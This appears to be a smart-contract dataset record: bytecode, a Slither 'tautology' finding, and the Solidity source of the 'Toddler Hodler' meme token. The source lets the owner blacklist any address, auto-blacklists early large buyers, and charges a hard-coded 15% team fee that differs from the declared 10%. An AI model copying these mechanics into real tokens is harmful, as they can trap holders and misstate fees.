0x608060405260043610610133576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610138578063095ea7b3146101c857806318160ddd1461022d5780632185810b1461025857806323b872dd146102875780632ff2e9dc1461030c578063313ce56714610337578063661884631461036257806370a08231146103c757806375a374ee1461041e57806379ba5097146104835780638da5cb5b1461049a57806395d89b41146104f15780639b1ad79214610581578063a9059cbb146105ce578063b414d4b614610633578063b4929d4c1461068e578063d4ee1d90146106b9578063d73dd62314610710578063dd62ed3e14610775578063df50afa4146107ec578063e724529c1461081b578063f2fde38b1461086a575b600080fd5b34801561014457600080fd5b5061014d6108ad565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018d578082015181840152602081019050610172565b50505050905090810190601f1680156101ba5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101d457600080fd5b50610213600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061094b565b604051808215151515815260200191505060405180910390f35b34801561023957600080fd5b50610242610ad2565b6040518082815260200191505060405180910390f35b34801561026457600080fd5b5061026d610ad8565b604051808215151515815260200191505060405180910390f35b34801561029357600080fd5b506102f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aeb565b604051808215151515815260200191505060405180910390f35b34801561031857600080fd5b50610321610bdd565b6040518082815260200191505060405180910390f35b34801561034357600080fd5b5061034c610be3565b6040518082815260200191505060405180910390f35b34801561036e57600080fd5b506103ad600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610be9565b604051808215151515815260200191505060405180910390f35b3480156103d357600080fd5b50610408600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e7b565b6040518082815260200191505060405180910390f35b34801561042a57600080fd5b50610469600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f18565b604051808215151515815260200191505060405180910390f35b34801561048f57600080fd5b506104986111b0565b005b3480156104a657600080fd5b506104af611351565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104fd57600080fd5b50610506611377565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561054657808201518184015260208101905061052b565b50505050905090810190601f1680156105735780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561058d57600080fd5b506105cc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611415565b005b3480156105da57600080fd5b50610619600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115da565b604051808215151515815260200191505060405180910390f35b34801561063f57600080fd5b50610674600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611784565b604051808215151515815260200191505060405180910390f35b34801561069a57600080fd5b506106a36117a4565b6040518082815260200191505060405180910390f35b3480156106c557600080fd5b506106ce6117aa565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561071c57600080fd5b5061075b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506117d0565b604051808215151515815260200191505060405180910390f35b34801561078157600080fd5b506107d6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119cc565b6040518082815260200191505060405180910390f35b3480156107f857600080fd5b50610819600480360381019080803515159060200190929190505050611a53565b005b34801561082757600080fd5b50610868600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611acc565b005b34801561087657600080fd5b506108ab600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bd5565b005b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109435780601f1061091857610100808354040283529160200191610943565b820191906000526020600020905b81548152906001019060200180831161092657829003601f168201915b505050505081565b6000808214806109d757506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15156109e257600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b600a60009054906101000a900460ff1681565b6000610af5611c75565b1515610bc957600a60009054906101000a900460ff161515610b1657600080fd5b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610b6f57600080fd5b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610bc857600080fd5b5b610bd4848484611cde565b90509392505050565b60085481565b60075481565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083101515610cfb576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d8f565b610d0e8382611f8e90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000610f11600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611faa90919063ffffffff16565b9050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f7657600080fd5b610fc882600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8e90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061106082600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154611faa90919063ffffffff16565b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055506110fb82600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154611faa90919063ffffffff16565b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561120c57600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561140d5780601f106113e25761010080835404028352916020019161140d565b820191906000526020600020905b8154815290600101906020018083116113f057829003601f168201915b505050505081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561147157600080fd5b6114c381600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8e90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061151b81600054611f8e90919063ffffffff16565b6000819055503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a360003073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000806115e5611c75565b15156116b957600a60009054906101000a900460ff16151561160657600080fd5b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561165f57600080fd5b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156116b857600080fd5b5b600954421015156117715762278d0060095442038115156116d657fe5b0490506007811015156116f2576116ed6064611fc6565b611770565b60068110151561170b57611706605a611fc6565b61176f565b6003811015156117245761171f6050611fc6565b61176e565b60028110151561173d57611738603c611fc6565b61176d565b600181101515611756576117516028611fc6565b61176c565b60008110151561176b5761176a6014611fc6565b5b5b5b5b5b5b5b61177b84846121f0565b91505092915050565b600b6020528060005260406000206000915054906101000a900460ff1681565b60095481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061186182600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611faa90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611aaf57600080fd5b80600a60006101000a81548160ff02191690831515021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b2857600080fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a582604051808215151515815260200191505060405180910390a25050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c3157600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415611cd65760019050611cdb565b600090505b90565b600080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611db283600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611faa90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e4783600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8e90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e9d8382611f8e90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b6000828211151515611f9f57600080fd5b818303905092915050565b60008183019050828110151515611fc057600080fd5b92915050565b600080606483606403600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001540281151561201c57fe5b04915081600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015411156121eb576120be82600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154611f8e90919063ffffffff16565b905081600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018190555061215981600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611faa90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167f0545c0bbec56c34b557563c8685659a763ef83e9f82b46aac93ce4b1db4842db826040518082815260200191505060405180910390a25b505050565b600061224482600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8e90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122d982600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611faa90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a723058203dd86882b84f71ec6c6a0e86bca194660038d342a0e61a655c2db7983d9be7a10029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 4,277 |
0x4e0024ca94EBbe17d405e28e429de9903E9Bee77
|
/*
TODDLER HODLER: $TODDLER
Community -->>
https://t.me/toddlerhodlercoin
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Toddler is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Toddler Hodler";
string private constant _symbol = "TODDLER";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _devFund;
address payable private _marketingFunds;
address payable private _buybackWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 public launchBlock;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable devFundAddr, address payable marketingFundAddr, address payable buybackAddr) {
_devFund = devFundAddr;
_marketingFunds = marketingFundAddr;
_buybackWalletAddress = buybackAddr;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_devFund] = true;
_isExcludedFromFee[_marketingFunds] = true;
_isExcludedFromFee[_buybackWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to] && !bots[msg.sender]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (10 seconds);
}
if (block.number <= launchBlock + 2 && amount == _maxTxAmount) {
if (from != uniswapV2Pair && from != address(uniswapV2Router)) {
bots[from] = true;
} else if (to != uniswapV2Pair && to != address(uniswapV2Router)) {
bots[to] = true;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function isExcluded(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function isBlackListed(address account) public view returns (bool) {
return bots[account];
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_devFund.transfer(amount.mul(4).div(10));
_marketingFunds.transfer(amount.mul(4).div(10));
_buybackWalletAddress.transfer(amount.mul(2).div(10));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 3000000000 * 10**9;
launchBlock = block.number;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _devFund);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _devFund);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 15);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061012e5760003560e01c80638da5cb5b116100ab578063c9567bf91161006f578063c9567bf91461034e578063cba0e99614610363578063d00efb2f1461039c578063d543dbeb146103b2578063dd62ed3e146103d2578063e47d60601461041857600080fd5b80638da5cb5b146102a157806395d89b41146102c9578063a9059cbb146102f9578063b515566a14610319578063c3c8cd801461033957600080fd5b8063313ce567116100f2578063313ce5671461021b5780635932ead1146102375780636fc3eaec1461025757806370a082311461026c578063715018a61461028c57600080fd5b806306fdde031461013a578063095ea7b31461018357806318160ddd146101b357806323b872dd146101d9578063273123b7146101f957600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600e81526d2a37b2323632b9102437b23632b960911b60208201525b60405161017a9190611be1565b60405180910390f35b34801561018f57600080fd5b506101a361019e366004611a72565b610451565b604051901515815260200161017a565b3480156101bf57600080fd5b50683635c9adc5dea000005b60405190815260200161017a565b3480156101e557600080fd5b506101a36101f4366004611a32565b610468565b34801561020557600080fd5b506102196102143660046119c2565b6104d1565b005b34801561022757600080fd5b506040516009815260200161017a565b34801561024357600080fd5b50610219610252366004611b64565b610525565b34801561026357600080fd5b5061021961056d565b34801561027857600080fd5b506101cb6102873660046119c2565b61059a565b34801561029857600080fd5b506102196105bc565b3480156102ad57600080fd5b506000546040516001600160a01b03909116815260